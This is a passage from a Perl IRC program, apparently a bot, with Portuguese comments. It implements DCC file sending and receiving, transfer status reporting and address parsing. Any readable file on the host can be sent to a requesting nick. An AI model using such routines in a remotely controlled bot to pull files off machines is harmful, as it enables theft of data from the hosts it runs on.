  876. #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
  877. open(FILE, "< $arquivo");
  878. my $fbytes;
  879. read(FILE, $fbytes, 1024);
  880. print $send "$fbytes";
  881. close FILE;
  882. # delete($DCC{$fh});
  883. } elsif ($dcctipo eq 'sendcon') {
  884. my $bytes_sended = unpack("N", $msg);
  885. $DCC{$fh}{curbyte} = $bytes_sended;
  886. if ($bytes_sended == $bytes) {
  887. $fh->close;
  888. $dcc_sel->remove($fh);
  889. $DCC{$fh}{status} = "Enviado";
  890. $DCC{$fh}{ftime} = time;
  891. next;
  892. }
  893. open(SENDFILE, "< $arquivo");
  894. seek(SENDFILE, $bytes_sended, 0);
  895. my $send_bytes;
  896. read(SENDFILE, $send_bytes, 1024);
  897. print $fh "$send_bytes";
  898. close(SENDFILE);
  899. }
  900. }
  901. }
  902.  
  903.  
  904. sub SEND {
  905. my ($nick, $arquivo) = @_;
  906. unless (-r "$arquivo") {
  907. return(0);
  908. }
  909.  
  910. my $dccark = $arquivo;
  911. $dccark =~ s/[.*\/](\S+)/$1/;
  912.  
  913. my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  914. my $longip = unpack("N",inet_aton($meuip));
  915.  
  916. my @filestat = stat($arquivo);
  917. my $size_total=$filestat[7];
  918. if ($size_total == 0) {
  919. return(0);
  920. }
  921.  
  922. my ($porta, $sendsock);
  923. do {
  924. $porta = int rand(64511);
  925. $porta += 1024;
  926. $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  927. } until $sendsock;
  928.  
  929. $DCC{$sendsock}{tipo} = 'send';
  930. $DCC{$sendsock}{nick} = $nick;
  931. $DCC{$sendsock}{bytes} = $size_total;
  932. $DCC{$sendsock}{arquivo} = $arquivo;
  933.  
  934.  
  935. &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  936.  
  937. }
  938.  
  939. sub GET {
  940. my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  941. return(0) if (-e "$arquivo");
  942. if (open(FILE, "> $arquivo")) {
  943. close FILE;
  944. } else {
  945. return(0);
  946. }
  947.  
  948. my $dccip=fixaddr($dcclongip);
  949. return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  950. my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  951. $dccsock->autoflush(1);
  952. $dcc_sel->add($dccsock);
  953. $DCC{$dccsock}{tipo} = 'get';
  954. $DCC{$dccsock}{itime} = time;
  955. $DCC{$dccsock}{nick} = $nick;
  956. $DCC{$dccsock}{bytes} = $bytes;
  957. $DCC{$dccsock}{curbyte} = 0;
  958. $DCC{$dccsock}{arquivo} = $arquivo;
  959. $DCC{$dccsock}{ip} = $dccip;
  960. $DCC{$dccsock}{porta} = $dccporta;
  961. $DCC{$dccsock}{status} = "Recebendo";
  962. }
  963.  
  964. # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
  965. sub Status {
  966. my $socket = shift;
  967. my $sock_tipo = $DCC{$socket}{tipo};
  968. unless (lc($sock_tipo) eq "chat") {
  969. my $nick = $DCC{$socket}{nick};
  970. my $arquivo = $DCC{$socket}{arquivo};
  971. my $itime = $DCC{$socket}{itime};
  972. my $ftime = time;
  973. my $status = $DCC{$socket}{status};
  974. $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  975.  
  976. my $d_time = $ftime-$itime;
  977.  
  978. my $cur_byte = $DCC{$socket}{curbyte};
  979. my $bytes_total = $DCC{$socket}{bytes};
  980.  
  981. my $rate = 0;
  982. $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  983. my $porcen = ($cur_byte*100)/$bytes_total;
  984.  
  985. my ($r_duv, $p_duv);
  986. if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  987. $r_duv = $3; $r_duv++ if $4 >= 5;
  988. $rate = "$1\.$2"."$r_duv";
  989. }
  990. if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  991. $p_duv = $3; $p_duv++ if $4 >= 5;
  992. $porcen = "$1\.$2"."$p_duv";
  993. }
  994. return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  995. }
  996.  
  997.  
  998. return(0);
  999. }
  1000.  
  1001.  
  1002. # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
  1003. sub fixaddr {
  1004. my ($address) = @_;
  1005.  
  1006. chomp $address; # just in case, sigh.
  1007. if ($address =~ /^\d+$/) {
  1008. return inet_ntoa(pack "N", $address);
  1009. } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  1010. return $address;
  1011. } elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
  1012. return inet_ntoa(((gethostbyname($address))[4])[0]);
  1013. } else {
  1014. return;
  1015. }
  1016. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement